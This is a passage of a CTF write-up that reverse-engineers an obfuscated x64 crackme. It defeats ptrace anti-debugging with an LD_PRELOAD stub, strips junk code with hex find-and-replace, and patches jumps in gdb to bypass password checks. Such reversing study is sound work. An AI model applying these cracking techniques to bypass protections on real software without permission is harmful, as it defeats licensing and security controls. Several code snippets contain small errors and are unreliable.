It's worthwhile to note that I'm not going to cover every piece or every line—maybe I'll do that as a novel in the future—this is mostly going to be a summary. Even so, this is going to be a long writeup. I'm trying to make it interesting and fun to read, and to break it into shorter sections. But heed this warning!

Also, I may switch between "I" and "we" throughout the writeup. This indicates when I was being helped by somebody, when I was alone, and when I was simply going insane. I'm pretty sure the voices in my head helping with a solution are a good enough reason to say "we" instead of "I", right?

Now that the contest is over, the source has been released. Here's the command they used for compiling it, directly from that source:

1 // compile with:
2 // isildur cnot.c0 -l l4rt.h0 -o test.s --obfuscate --anti-debug --confuse
3 // gcc test.s obf.c -o cnot
4 // strip cnot

--obfuscate, --anti-debug, and --confuse? Awww, you shouldn't have! But, I digress. I didn't have this info back then...

Being that I fancy myself a reverse engineer, this level appealed to me right away. In fact, it's the first one I looked at, despite it being the highest point value. Go big or go home!

I spent about fifteen minutes poking around. I determined that the binary was ugly as sin, that the debugger didn't work, and that it was 64-bit Intel assembly. Well fuck, I don't even know x64 (well, I didn't when I started this CTF, at least). So I gave up and moved onto another level, Ropasaurus (which will have its own writeup).

After solving a some other levels with the help of HikingPete (Ropasaurus, Cyrpto, and charsheet), I came back to cnot late Friday night. Mak and Nate had put several hours into it and had given up. It was all up to me.

Let's start by summarizing the weekend...

Work on it till 6am. Wake up at 9am. Work on another problem for a couple hours, return to cnot by noon. Work solid—besides a meal—till 6am again. Getting so close, but totally stuck.

Wake up early again, go straight to it. 9am I think? Stuck, so stuck. Came up with ideas, failed, more ideas, failed failed failed. Finally, thought of something. Can it work...? IT DID! FLAG OBTAINED!! Hardest binary I've ever reversed, and I was suddenly an expert on x64! Done by 2pm, too! That means I only spent.. thirty hours? Is that right? Dear lord...

And you know what the kicker is? Even without the obfuscation, without the anti-debugging, and without the... confusion? This still would have been a goddamn hard binary! Hell, take a look at the C version. Even that would have been a huge pain!

But now I'm definitely getting ahead of myself. The rest of this document will be about what worked, I don't explore too many of the 'wrong paths' I took, except where it's pedagogical to do so.

The setup

Basically, we had a 64-bit Linux executable file, and no hints of any kind. I fired up a Debian 6.0.7 machine with basically default everything, except that I installed my favourite dev/reversing tools that you'll see throughout this writeup. I also had a Windows machine with a modern version of IDA Pro. If you plan to do any reversing, you need IDA Pro. The free version works for most stuff, but modern versions are way faster and handle a lot more madness.

You run the program, it simply asks for a password. You type in something, and it generally says "Wrong!" and ends:

1 ron@debian-x86 ~/cnot $ ./cnot
2 Please enter your password: hello
3 Wrong!

The goal was to figure out the password for this executable, which was the flag.

And that's our starting point. So far so good!

At this point, I had a lot of ideas. Sometimes, you start with the error message, work your way back to a comparison, and look at what's being compared to what. Sometimes, you start with the input and look at how it's being mangled. Or sometimes, you quietly sob in the corner. I tried the first two approaches at the start, and then steadily moved on to the last.

Wasted effort

Mak and Nate had started working on the project without me, and Mak had started writing a timing-attack tool. Sometimes, if one letter is compared at a time, you can derive each letter individually by timing the comparisons and looking at which one is the fastest. That could save a ton of reversing time!

If I'd known then what I know now, I wouldn't have bothered. This had no hope of working. But it was worth a shot!

I helped Mak finish a program that would:

• Choose a letter
• Write it to a file
• Start a high resolution timer (using rdtsc, which counts the number of cycles since reset)
• Run the process
• Read the timer state
• Repeat for each letter, choose the best
• Go back to the top and choose another letter

This works exceptionally well, in some cases. This was not one of the cases. It turns out that the letters were validated with a checksum first, which instantly breaks it. Then they were validated out of order, and in various other ways, all of which would break this. So, long story short, it was a waste of our time.

Luckily, after an hour or two, I said "this isn't working" and we moved on without ever looking back.

Anti-debugging

Our first step was anti-debugging, because this:

1 $ gdb ./cnot
2 Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
3 (gdb) run hello
4 Starting program: /home/ron/cnot/cnot hello
5 
6 Program received signal SIGSEGV, Segmentation fault.
7 0x00400b86 in ?? ()
8 

You assholes! If you run it with strace, you'll see this:

1 trace ./cnot 2>&1 | tail -n4
2   munmap(0x7f5cc9159000, 63692)           = 0
3   ptrace(PTRACE_TRACEME, 0, 0, 0)         = -1 EPERM (Operation not permitted)
4   --- SIGSEGV (Segmentation fault) @ 0 (0) ---
5   +++ killed by SIGSEGV (core dumped) +++
6 

So it's calling ptrace right before dying, eh? Well, I know how to deal with that! Mak wrote a quick library:

1   ron@debian-x64 ~/cnot $ echo 'long ptrace(int a, int b, int c){return 0;}' > override.c
2   ron@debian-x64 ~/cnot $ gcc -shared -fPIC -o override.so ./override.c

Add it to our gdbinit file:

1 $ cat gdbinit
2 # Set up the environment
3 set disassembly-flavor intel
4 set confirm off
5 
6 # Disable the anti-debugging
7 set environment LD_PRELOAD ./overload.so

And run the program with that gdbinit file:

1 $ gdb -x ./gdbinit ./cnot
2 Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
3 (gdb) run
4 Please enter your password: hello
5 Wrong!
6 
7 Program exited normally.
8 

Thankfully, that was the only anti-debugging measure taken. gdbinit files are actually something I learned from Mak while working on the IO Wargame, and are one of the most valuable tools in your debugging arsenal!

First steps

First of all, let's take a look at the imports; this can be done more easily in IDA, but to avoid filling this writeup with screenshots, I'll use objdump to get the equivalent information:

 1 ron@debian-x86 ~/cnot $ objdump -R cnot
 2 
 3 cnot:     file format elf64-x86-64
 4 
 5 DYNAMIC RELOCATION RECORDS
 6 OFFSET           TYPE              VALUE
 7 006101b8 R_X86_64_GLOB_DAT   __gmon_start__
 8 00610240 R_X86_64_COPY       stdin
 9 00610250 R_X86_64_COPY       stdout
10 006101d8 R_X86_64_JUMP_SLOT  __isoc99_fscanf
11 006101e0 R_X86_64_JUMP_SLOT  exit
12 006101e8 R_X86_64_JUMP_SLOT  __libc_start_main
13 006101f0 R_X86_64_JUMP_SLOT  ungetc
14 006101f8 R_X86_64_JUMP_SLOT  fputc
15 00610200 R_X86_64_JUMP_SLOT  fgetc
16 00610208 R_X86_64_JUMP_SLOT  ptrace
17 00610210 R_X86_64_JUMP_SLOT  raise
18 00610218 R_X86_64_JUMP_SLOT  calloc
19 00610220 R_X86_64_JUMP_SLOT  feof
20 00610228 R_X86_64_JUMP_SLOT  fprintf

fputc() and fgetc() were the ones I was most interested in. To make a long story short, we put a breakpoint on fputc() to see when it was called. It was called twice for each character. Once—at offset 0x40F63B—it was in a function that checked for EOF (end of file) then used ungetc() to put it back. It was never actually returned. The other time—at offset 0x40F723—it was called then the function returned the character. That's where I focused.

I used a breakpoint to confirm that it was actually calling each of those functions for every character I entered. It was.

At that point, I tried to follow the logic onward from where the value was read. Me and Mak, together, followed the path that was then taken through the code. Essentially, checks were done for EOF, for NULL being returned from fgetc(), and for a newline. If it was any of those, it would jump to a label that I called found_newline or something like that. We pushed our way through the obfuscated code, though, which IDA did a poor job of figuring out.

Eventually, we managed to get back to the fgetc() calls through the biiiig loop. When I tried to follow the other code path, to see how the program handles the completed string, I quickly became lost.

I then tried the other approach—starting from the "Wrong!" label and working backwards. I found all the calls to fputc() in gdb by doing the following:

Run the program until it requests password (recalling that "-x ./gdbinit" loads my init script, which loads override.so to fix the anti-debugging), then break by using ctrl-c:

 1 $ gdb -x ./gdbinit ./cnot
 2 Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
 3 (gdb) run
 4 Please enter your password: ^C
 5 Program received signal SIGINT, Interrupt.
 6 0x00007ffff793f870 in read () from /lib/libc.so.6
 7 

Add a breakpoint at fputc(), then continue and enter "hello" for my password:

 8 
 9 (gdb) b fputc
10 Breakpoint 1 at 0x7ffff78e26d0
11 (gdb) cont
12 hello
13 

Once it breaks, run the "finish" command twice to exit two layers of function:

14 
15 Breakpoint 1, 0x00007ffff78e26d0 in fputc () from /lib/libc.so.6
16 (gdb) finish
17 0x0040f6c6 in ?? ()
18 (gdb) finish
19 0x00400840 in ?? ()

Now we're at 0x400840. If you look at the function it's in, you'll see that it ends like this:

1 .text:00400851     pop     rdi
2 .text:00400852     jmp     rdi

As a result, gdb won't be able to "finish" properly since it never (technically) returns! Instead, we set a breakpoint on the last line then use the "stepi" command to step out:

1 (gdb) break *0x400852
2 Breakpoint 2 at 0x400852
3 (gdb) cont
4 
5 Breakpoint 2, 0x00400852 in ?? ()
6 (gdb) stepi
7 0x0040f149 in ?? ()

0x40f149! If you're following along in IDA, you'll see a ton of undefined code there. D'oh! You can use 'c' to define the code in IDA, just keep moving up and down and pressing 'c' (and occasionally 'u' when you see SSE instructions) in various places till stuff looks right. Eventually, you'll see:

 1 .text:0040F10F     mov     qword ptr [rbp-68h], 0
 2 .text:0040F117     mov     dword ptr [rbp-68h], 'W'
 3 .text:0040F11E     push    r8
 4 .text:0040F120     push    r9
 5 .text:0040F122     push    rcx
 6 .text:0040F123     xor     rcx, rcx
 7 .text:0040F126     jz      short near ptr loc_40F128+1
 8 .text:0040F128
 9 .text:0040F128 loc_40F128:
10 .text:0040F128     mulps   xmm2, xmmword ptr [rcx+53h]
11 .text:0040F12C     push    rdx
12 .text:0040F12D     call    $+5
13 .text:0040F132     pop     rdx
14 .text:0040F133     add     rdx, 8
15 .text:0040F137     push    rdx
16 .text:0040F138     retn
17 .text:0040F138                ; -------------
18 .text:0040F139    db  0Fh
19 .text:0040F13A                ; -------------
20 .text:0040F13A     pop     rdx
21 .text:0040F13B     pop     rbx
22 .text:0040F13C     pop     rcx
23 .text:0040F13D     mov     rdi, [rbp-68h]
24 .text:0040F141     mov     r15, rax
25 .text:0040F144     call    sub_400824

This isn't quite right, because of the jz and the call/push/ret in the middle, but we'll deal with that shortly. For now, look at 0x0040F117—push 'W'—and 0x40F144—call the function that calls fputc()! If you follow it down, you'll find the 'r', 'o', 'n', 'g', '!', newline, and then 'C', 'o', 'r', 'r', 'e', 'c', 't', '!'. That's great news! We found where it prints the two cases!

The problem is, it's ugly as sin. I can't even count the number of times I used 'u' to undefine bad instructions and 'c' to define better ones before I finally gave up and edited the binary...

Anti-reversing

The best thing I ever did—and I wish I did it earlier!—was to fix the anti-reversing nonsense. There are long strings of the same thing that make analysis hard. In the previous example, everything from the push at 0x40F122 to the mov at 0x40F13D is totally worthless, and just confuses the disassembler, so let's get rid of it!

I loaded up the file in xvi32.exe—my favourite Windows hex editor—and did a find/replace on the sequence of bytes:

 51 48 31 C9 74 01 0F 59 51 53 52 E8 00 00 00 00 5A 48 83 C2 08 52 C3 0F 5A 5B 59

with NOPs:

 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

936 occurrences replaced! Awesome! But there was still some obfuscation left that looked like this:

1 .text:0040F123      xor     rcx, rcx
2 .text:0040F126      jz      short near ptr loc_40F128+1
3 .text:0040F128
4 .text:0040F128 loc_40F128:
5 .text:0040F128      mulps   xmm2, xmmword ptr [rcx+53h]
6 .text:0040F12C      push    rdx

Note the jz—it actually jumps one byte, which means the instruction immediately following—the mulps—is an invalid instruction. The 0x0f is unused! This one is simple to fix—just replace 74 01 FF—the jump and the fake instruction—with NOPs:

  74 01 0F => 90 90 90

This fixes 290 more occurrences of code that confuses IDA!

And then there's this:

1 .text:00400C44     call    $+5
2 .text:00400C49     pop     rdx
3 .text:00400C4A     add     rdx, 8
4 .text:00400C4E     push    rdx
5 .text:00400C4F     retn
6 .text:00400C4F sub_400BD1      endp ; sp-analysis failed
7 .text:00400C4F
8 .text:00400C50     cvtps2pd xmm3, qword ptr [rbx+59h]

Which can be removed with this pattern:

  e8 00 00 00 00 5a 48 83 c2 08 52 c3 0f

74 of which were removed.

After all that, I loaded the executable back in IDA, and it was much nicer! I realized later that there was probably more code I could have removed—such as the pop edi / jmp edi that's used instead of returning—but I got too invested in my IDA database that I didn't want to mess it up.

Tracking down the compare

All righty, now that we've cleaned up the code, we're starting to make some progress! By the time I got here, it was about 2am on Friday night, and I was still going strong (despite Mak being asleep behind me on a table). [Editor's Note: I needed my beauty sleep, dammit!]

Let's start by finding the 'Wrong' and 'Correct' strings again. You can breakpoint on fputc(), or you can just go to the definition of fputc() and keep jumping to cross references. Whatever you do, I want you to eventually wind up at the line that pushes the 'W' from 'Wrong!', which is here:

1 .text:0040F117                 mov     dword ptr [rbp-68h], 'W'

Two lines above it, you'll see a conditional jump:

1 .text:0040F109                 jz      loc_40F359

If you follow that jump, you'll see that if it jumps, it prints out 'Correct'; otherwise, it prints 'Wrong'. We can confirm this by forcing the jump, but first let's update our gdbinit file to break at the 'start' function:

 1 ron@debian-x64 ~/cnot $ cat gdbinit
 2 # Set up the environment
 3 set disassembly-flavor intel
 4 set confirm off
 5 
 6 # Disable the anti-debugging
 7 set environment LD_PRELOAD ./overload.so
 8 
 9 # Put a breakpoint at the 'start' function
10 break *0x00400710
11 
12 # Run the program up to the breakpoint
13 run

Now we run the program, and change the jz at line 0x0040f109 to a jmp:

 1 $ gdb -x ./gdbinit ./cnot
 2 Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
 3 Breakpoint 1 at 0x400710
 4 
 5 Breakpoint 1, 0x00400710 in ?? ()
 6 (gdb) set {char}0x0040f109 = 0x90
 7 (gdb) set {char}0x0040f10a = 0xE9
 8 (gdb) x/2i 0x0040f109
 9 0x40f109:       nop
10 0x40f10a:       jmp    0x40f359
11 (gdb) cont
12 Please enter your password: hello
13 Correct!

So, we change 0x401109 to 0x90 (nop) and 0x0040f10a to 0xe9 (jmp long), verify the instructions, and run the program. Sure enough, my password now produces 'hello'. Success! Now I just have to backstep a little bit and find the comparison, and we're done! Simple! Haha!

13 steps to success

So, every variable is set in an ass-backwards way. You get pretty accustomed to seeing it in this level, and kind of just mentally pattern-match it. I'm sure there's a better way, but eh? I got pretty fast at it as time went on.

The decision whether or not to make the important jump comes from [rbp-78h], which comes from [rbp-58h] (via like ten other variables). The only way to get that variable set properly is right here:

1 .text:0040F08E                mov     qword ptr [rbp-58h], 0
2 .text:0040F096                mov     dword ptr [rbp-58h], 1

Right below that, I noticed this code:

 1 .text:0040F09D     jmp     short $+2
 2 .text:0040F09F
 3 .text:0040F09F loc_40F09F:      ; CODE XREF: sub_40911F+5F6Dj
 4 .text:0040F09F     jmp     short $+2
 5 .text:0040F0A1
 6 .text:0040F0A1 loc_40F0A1:      ; CODE XREF: sub_40911F+59EBj
 7 .text:0040F0A1     jmp     short $+2
 8 .text:0040F0A3
 9 .text:0040F0A3 loc_40F0A3:      ; CODE XREF: sub_40911F+53BAj
10 .text:0040F0A3     jmp     short $+2
11 .text:0040F0A5
12 .text:0040F0A5 loc_40F0A5:      ; CODE XREF: sub_40911F+47DAj
13 .text:0040F0A5     jmp     short $+2
14 .text:0040F0A7
15 .text:0040F0A7 loc_40F0A7:      ; CODE XREF: sub_40911F+3AB1j
16 .text:0040F0A7     jmp     short $+2
17 .text:0040F0A9
18 .text:0040F0A9 loc_40F0A9:      ; CODE XREF: sub_40911F+2D88j
19 .text:0040F0A9     jmp     short $+2
20 .text:0040F0AB
21 .text:0040F0AB loc_40F0AB:      ; CODE XREF: sub_40911F+21A8j
22 .text:0040F0AB     jmp     short $+2
23 .text:0040F0AD
24 .text:0040F0AD loc_40F0AD:      ; CODE XREF: sub_40911F+2141j
25 .text:0040F0AD     jmp     short $+2
26 .text:0040F0AF
27 .text:0040F0AF loc_40F0AF:      ; CODE XREF: sub_40911F+1DE9j
28 .text:0040F0AF     jmp     short $+2
29 .text:0040F0B1
30 .text:0040F0B1 loc_40F0B1:      ; CODE XREF: sub_40911F+1D82j
31 .text:0040F0B1     jmp     short $+2
32 .text:0040F0B3
33 .text:0040F0B3 loc_40F0B3:      ; CODE XREF: sub_40911F+1CB4j
34 .text:0040F0B3     jmp     short $+2
35 .text:0040F0B5
36 .text:0040F0B5 loc_40F0B5:      ; CODE XREF: sub_40911F+1C04j
37 .text:0040F0B5     jmp     short $+2
38 .text:0040F0B7
39 .text:0040F0B7 loc_40F0B7:      ; CODE XREF: sub_40911F+1B9Dj

Each of those lines bypasses the 'set the good value' line, and each of them is referred to earlier in this function. I immediately surmised that each of those locations were "bad" jumps—that is, there were thirteen or so checks that were happening, and that each one that failed would lead us back here. A thirteen character string seemed possible, where each letter was checked individually, so I started looking into it. Mak—awake once again—was not convinced.

The easy start

The final thing I did Friday night was look at the first check (the last one on that list), which is located at this line:

1 .text:0040ACBC                 jz      loc_40F0B7

What causes that jump to fail? Long story short, it's this:

1 .text:0040AC8E                 cmp     r15d, [rbp-78h]

...where r15d is an unknown value, and [rbp-78h] is 0x18 (24). Let's break and see what r15 is:

 1   ron@debian-x64 ~/cnot $ gdb -x ./gdbinit ./cnot
 2   Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
 3   Breakpoint 1 at 0x400710
 4 
 5   Breakpoint 1, 0x00400710 in ?? ()
 6   (gdb) b *0x0040ac8e
 7   Breakpoint 2 at 0x40ac8e
 8   (gdb) cont
 9   Please enter your password: hello
10 
11   Breakpoint 2, 0x0040ac8e in ?? ()
12   (gdb) print/d $r15
13   $1 = 5
14   (gdb) run
15 
16   Breakpoint 1, 0x00400710 in ?? ()
17   (gdb) cont
18   Please enter your password: moo
19 
20   Breakpoint 2, 0x0040ac8e in ?? ()
21   (gdb) print/d $r15
22   $2 = 3
23 

When I enter 'hello', it's 5, and when I enter 'moo', it's 3. It compares that value to 0x18 (24), and fails if it's anything else. We just found out the password length! And it was kind of easy!

By now it was about 5am on Friday night, and time for bed.

Not as dumb as I look

First thing Saturday morning—after three hours of sleep—I started and finished another flag—securereader. Don't get me started on securereader. I fucked up badly, and it took wayyyyyy longer than it should have.

Anyway, by early afternoon, I was back to working on cnot. I was pretty sure those jumps were all the 'bad' jumps, so—in what I consider my #1 decision on this entire flag, at least tied with finding/replacing the 'bad code'—I added a bunch of nop-outs to my gdbinit file:

 1 ron@debian-x64 ~/cnot $ cat ./gdbinit
 2 # Set up the environment
 3 set disassembly-flavor intel
 4 set confirm off
 5 
 6 # Disable the anti-debugging
 7 set environment LD_PRELOAD ./overload.so
 8 
 9 # Put a breakpoint at the 'start' function
10 break *0x00400710
11 
12 # Run the program up to the breakpoint
13 run
14 
15 # Verify length
16 set {int}0x040ACBC = 0x90909090
17 set {short}0x040ACC0 = 0x9090
18 
19 set {int}0x040AD23 = 0x90909090
20 set {short}0x040AD27 = 0x9090
21 
22 set {int}0x040ADD3 = 0x90909090
23 set {short}0x040ADD7 = 0x9090
24 
25 set {int}0x040AEA1 = 0x90909090
26 set {short}0x040AEA5 = 0x9090
27 
28 set {int}0x040AF08 = 0x90909090
29 set {short}0x040AF0C = 0x9090
30 
31 set {int}0x040B260 = 0x90909090
32 set {short}0x040B264 = 0x9090
33 
34 set {int}0x040B2C7 = 0x90909090
35 set {short}0x040B2CB = 0x9090
36 
37 set {int}0x040BEA7 = 0x90909090
38 set {short}0x040BEAB = 0x9090
39 
40 set {int}0x040CBD0 = 0x90909090
41 set {short}0x040CBD4 = 0x9090
42 
43 set {int}0x040D8F9 = 0x90909090
44 set {short}0x040D8FD = 0x9090
45 
46 set {int}0x040E4D9 = 0x90909090
47 set {short}0x040E4DD = 0x9090
48 
49 set {int}0x040EB0A = 0x90909090
50 set {short}0x040EB0E = 0x9090
51 
52 set {short}0x040F08C = 0x9090
53 
54 cont

After like two hours of troubleshooting that code because I forgot that 'long' = 8 bytes and 'int' = 4 bytes (which Aemelianus had the pleasure to watch me fight with), eventually it worked:

1 $ gdb -x ./gdbinit ./cnot
2 Reading symbols from /home/ron/cnot/cnot...(no debugging symbols found)...done.
3 Breakpoint 1 at 0x400710
4 
5 Breakpoint 1, 0x00400710 in ?? ()
6 Please enter your password: hello
7 Correct!
8 
9 Program exited normally.

Excellent! I can easily test any of the checks without the others interfering!

From here on out, I did everything in a more or less random order, and each step took a long time. Ultimately, however, there were four main types of checks I found: character class (upper/lower/numeric), adjacent checks, shift checks (I'll explain these later), and checksums. I solved the first three on Saturday, and the last—the hardest, the checksum—on Sunday. Let's take each of them individually.

Character class

The character class checks happen right here:

 1 .text:0040AD00                 mov     rdi, [rbp-70h]
 2 .text:0040AD04                 mov     r15, rax        ; both = pointers to my string
 3 .text:0040AD07                 call    do_validation2  ; Validate a pattern (fully reversed)
 4 .text:0040AD0C                 mov     [rbp-68h], rax
 5 .text:0040AD10                 mov     rax, r15
 6 .text:0040AD13                 add     rsp, 0
 7 .text:0040AD17                 pop     r9
 8 .text:0040AD19                 pop     r8
 9 .text:0040AD1B                 mov     r15d, [rbp-68h]
10 .text:0040AD1F                 cmp     r15d, 0
11 .text:0040AD23                 jz      bad_place2

do_validation2() is about a million lines, and is actually a great place to get your feet wet with how the obfuscation works. By the end of it, I could move through pretty quickly. It calls three different functions, which are:

1 0x00402726 check_alphabetic(char c)
2 0x004028AC check_lowercase(char c)
3 0x0040297E check_numeric(char c)

I'm not going to dwell on how those work. Suffice to say, they're about as simple as anything is in this binary. One line in the source, and only about 150 lines in the binary!

Essentially, throughout this function, you'll see things like:

1 .text:00402AFD                 add     r11, rbx        ; add 0*8 to the offset
2 .text:00402B1E                 mov     rax, [rax]       ; rax = first character ("a")
3 .text:00402B40                 mov     rdi, rax
4 .text:00402B43                 call    check_alphabetic ; Returns '1' if it's upper or lower case
5 .text:00402B50                 cmp     eax, 0           ; '1' is good
6 .text:00402B53                 jz      bad

(note that I'm leaving out the extra 'obfuscating' lines)

This runs through every character, one by one, with similar checks. I did a ton of debugging to see what was going on, and was able to determine the 'possible' values of each character:

Character 1  :: Letter
Character 2  :: Letter
Character 3  :: Lowercase
Character 4  :: Lowercase
Character 5  :: Letter
Character 6  :: Symbol (not letter or number)
Character 7  :: Letter
Character 8  :: Symbol
Character 9  :: Number
Character 10 :: Lowercase
Character 11 :: Letter
Character 12 :: Letter
Character 13 :: Letter
Character 14 :: Uppercase
Character 15 :: Letter
Character 16 :: Letter
Character 17 :: Uppercase
Character 18 :: Letter
Character 19 :: Symbol
Character 20 :: Letter
Character 21 :: Letter (I originally had 'lowercase', that was wrong)
Character 22 :: Letter
Character 23 :: Uppercase
Character 24 :: Symbol

In addition to character classes, a couple properties were discovered here:

• The fourth character had to be one higher than the tenth character
• The twenty-first character was alphabetic, but if you subtract one it wasn't (therefore, it had to be a 'a' or 'A')

So now we have a lot of properties, and an actual letter! Progress! And we have one more check that'll pass; two down, eleven to go!

Adjacent checks

After the character class checks, I was getting a little faster. There's a ton of code, but eventually you learn how it indexes arrays, and that makes it much easier, since you can skip by about 95% of the code.

This section starts here:

 1 .text:0040AEE5                 mov     rdi, [rbp-70h]
 2 .text:0040AEE9                 mov     r15, rax
 3 .text:0040AEEC                 call    do_validation_5 ; Validates adjacent letters, and their relationships to each other
 4 .text:0040AEEC                                         ; rdi = pointer to string buffer
 5 .text:0040AEF1                 mov     [rbp-68h], rax  ; rax shouldn't be 0
 6 .text:0040AEF5                 mov     rax, r15
 7 .text:0040AEF8                 add     rsp, 0
 8 .text:0040AEFC                 pop     r9
 9 .text:0040AEFE                 pop     r8
10 .text:0040AF00                 mov     r15d, [rbp-68h]
11 .text:0040AF04                 cmp     r15d, 0
12 .text:0040AF08                 jz      bad_place5

Note that I'm not doing this in order; I don't have to, since I disable the checks I'm not using!

Inside my stupidly named do_validation_5() (I didn't know what it was going to do when I named it!), you'll see the same pattern over and over and over; it loads a letter, then the next letter, and compares them with either jg (jump if greater) or jl (jump if less):

1 .text:00404FE2                 mov     r10, [r10]       ; first letter
2 .text:00405087                 mov     r11, [r11]       ; second letter
3 .text:0040508A                 cmp     r10d, r11d
4 .text:0040508D                 jg      short loc_405096 ; good jump
5 .text:0040508F                 mov     ebx, 0           ; bad
6 .text:00405094                 jmp     short loc_40509B

If you go through this, you'll get the following relationships:

character[1]  > character[2]
character[2]  > character[3]
character[3]  < character[4]
character[4]  > character[5]
character[5]  > character[6]
character[6]  < character[7]
character[7]  > character[8]
character[8]  < character[9]
character[9]  < character[10]
character[10] < character[11]
character[11] > character[12]
character[12] < character[13]
character[13] > character[14]
character[14] < character[15]
character[15] < character[16]
character[16] > character[17]
character[17] < character[18]
character[18] > character[19]
character[19] < character[20]
character[20] > character[21]
character[21] < character[22]
character[22] > character[23]
character[23] > character[24]

When I got to this point, Mak started writing a Prolog and also a Python program so we could take these relationships and start deriving relationships. In the end, he started working on another flag, and I never actually used these relationships to solve anything...

On the plus side, after the first few, it was fast going! I did the first seven or eight carefully and with a debugger, and all the rest I just blew through in about a half hour!

Shift checks

So, I purposely waited to work on these ones, because they called long functions, which called other long functions, which did crazy shifty stuff. After I actually started reversing, I realized that it was actually pretty easy—most of them did the same thing! Everything in this binary looks long and complicated, though.

Let's start with one of the innermost functions. Removing all the crap, it does this:

 1 .text:00400E75 shift10         proc near
 2 .text:00400EAA                 mov     rax, rdi        ; rax = arg
 3 .text:00400EC8                 mov     r10, rax        ; r10 = arg
 4 .text:00400ECB                 mov     r11d, 0Ah       ; r11 = 10
 5 .text:00400ED2                 mov     r15d, r10d      ; r15 = arg
 6 .text:00400ED5                 mov     ecx, r11d       ; ecx = 10
 7 .text:00400ED8                 sar     r15d, cl        ; r15 = arg >> 10
 8 .text:00400EDB                 mov     ebx, r15d       ; ebx = rdi >> 10
 9 .text:00400EDF                 mov     r10d, 1Fh       ; r10 = 0x1f
10 .text:00400F00                 and     ebx, r10d       ; ebx = (arg >> 10) & 0x1f
11 .text:00400F03                 mov     rax, rbx
12 .text:00400F1B                 pop     rdi
13 .text:00400F1C                 jmp     rdi

Which is basically:

1 return (arg >> 10) & 0x1F

Easy! There are actually a bunch of functions that do almost the same thing:

1 def shift0(c)  return (c >> 0) & 0x1F; end
2 # Oddly, there's no shift5()
3 def shift10(c) return (c >> 0) & 0x1F; end
4 def shift15(c) return (c >> 0) & 0x1F; end
5 def shift20(c) return (c >> 0) & 0x1F; end
6 def shift25(c) return (c >> 0) & 0x1F; end
7 def shift30(c) return (c >> 0) & 0x03; end

Then those functions are called from two others (actually, three, but the third is never used in the code we care about):

1 .text:00401E96 shifter()
2 .text:00402413 shifter2()

I'm not going to waste your time by reversing them. They're kinda long, but fairly simple. Here is what they end up as:

1 def shifter(c, i = 0)
2   return i | (1 << shift10(c)) | (1 << shift5(c)) | (1 << shift0(c))
3 end
4 
5 def shifter2(c, i = 0)
6   return i | (1 << shift25(c)) | (1 << shift20(c)) | (1 << shift10(c)) | (1 << shift0(c))
7 end

Basically, take various sequences of five bytes within the string, and set those bits in another value!

Now, how are these used? The first use is easy, and is actually the second-simplest check (after the length check). It looks like this (once again, I've removed obfuscating lines):

1 .text:0040B04B      mov     rsi, [rbp-80h]  ; rsi = last character
2 .text:0040B04F      mov     r15, rax
3 .text:0040B052      call    shifter
4 .text:0040B057      mov     [rbp-70h], rax
5 .text:0040B066      mov     qword ptr [rbp-78h], 0
6 .text:0040B06E      mov     dword ptr [rbp-78h], 80000003h
7 .text:0040B075      mov     r15d, [rbp-70h]
8 .text:0040B079      cmp     r15d, [rbp-78h]
9 .text:0040B07D      jz      short loc_40B093 ; Good jump

So the last line of the string is the symbol that, when put through shifter(), produces 0x80000003? That's easy! Here's a quick Ruby program (I actually did it in a much more complicated way originally, by literally reversing the algorithm, but that was dumb):

1 0x20.upto(0x7F) do |i|
2 if(shifter(i) == 0x80000003)
3     puts("Character: #{i.chr}")
4 end
5 end

Which prints out:

1 ron@debian-x86 ~$ ruby ./do_shift.rb
2 Character: ?

The last character is a question mark! Awesome!

After that, there are a bunch of checks (all remaining checks but two, in fact!) that all sort of look the same (and are implemented inline, not in functions). One of them you can find starting at 0x0040BEAD, and the logic is something like this:

 1 c = second_character;
 2 if(shifter(c, c) == shifter2(c, c))
 3 {
 4   if(shifter(c - 0x20, c - 0x20) != shifter2(c - 0x20, c - 0x20))
 5   {
 6     if(c < 'i' && c > 'd')
 7     {
 8       acceptable_second_character(c);
 9     }
10   }
11 }

Implementing it in Ruby (this code will only work in 1.9 because of String.ord()) will look something like this:

 1 ?A.upto(?Z) do |i|
 2   i = i.ord
 3   (set << i) if(shifter(i, i) == shifter2(i, i))
 4 end
 5 ?a.ord.upto(?z.ord) do |i|
 6   i = i.ord
 7   (set << i) if(shifter(i, i) == shifter2(i, i))
 8 end
 9 
10 set.each do |i|
11   if(shifter(i - 0x20, i - 0x20) != shifter2(i - 0x20, i - 0x20))
12     if(i &gt; ?d.ord &amp;&amp; i < ?i.ord)
13       puts(i.chr)
14     end
15   end
16 end

And running it:

1 $ ruby do_shift.rb
2 h

Tells us that the only possibility is 'h'! We just solved the second letter!

There are a ton of checks like this, and I'm not going to go over the rest of them. The only other noteworthy "shift" check is the function defined here:

1 .text:00406F32 check_duplicates

Which goes through a bunch of fields, and requires them to be equal to one another (eg, the sixth, eighth, and nineteenth characters are the same; the fourteenth and seventeenth letter are the same; etc).

When all's said and done, at the end of the 'shift' stuff, and including the character class checks, we have the following properties:

  Character 1  :: 'w'
  Character 2  :: 'h'
  Character 3  :: 'e'
  Character 4  :: Lowercase letter = the 10th character + 1
  Character 5  :: 'e'
  Character 6  :: Symbol, same as 8th and 19th characters
  Character 7  :: 'u', 'v', or 'w'
  Character 8  :: Symbol, same as 6th and 19th characters
  Character 9  :: Number
  Character 10 :: Lowercase
  Character 11 :: Letter
  Character 12 :: 'e'
  Character 13 :: 'n'
  Character 14 :: Uppercase, same as 17th
  Character 15 :: 'h', 'i', 'j', or 'k'
  Character 16 :: Letter, same as 18th
  Character 17 :: Uppercase, same as 14th
  Character 18 :: Letter, same as 16th
  Character 19 :: Symbol, same as 6th and 8th
  Character 20 :: 'n'
  Character 21 :: 'a' or 'A'
  Character 22 :: Letter
  Character 23 :: Uppercase
  Character 24 :: '?'

To put it another way:

  whe_e._.#__en_____.na__?

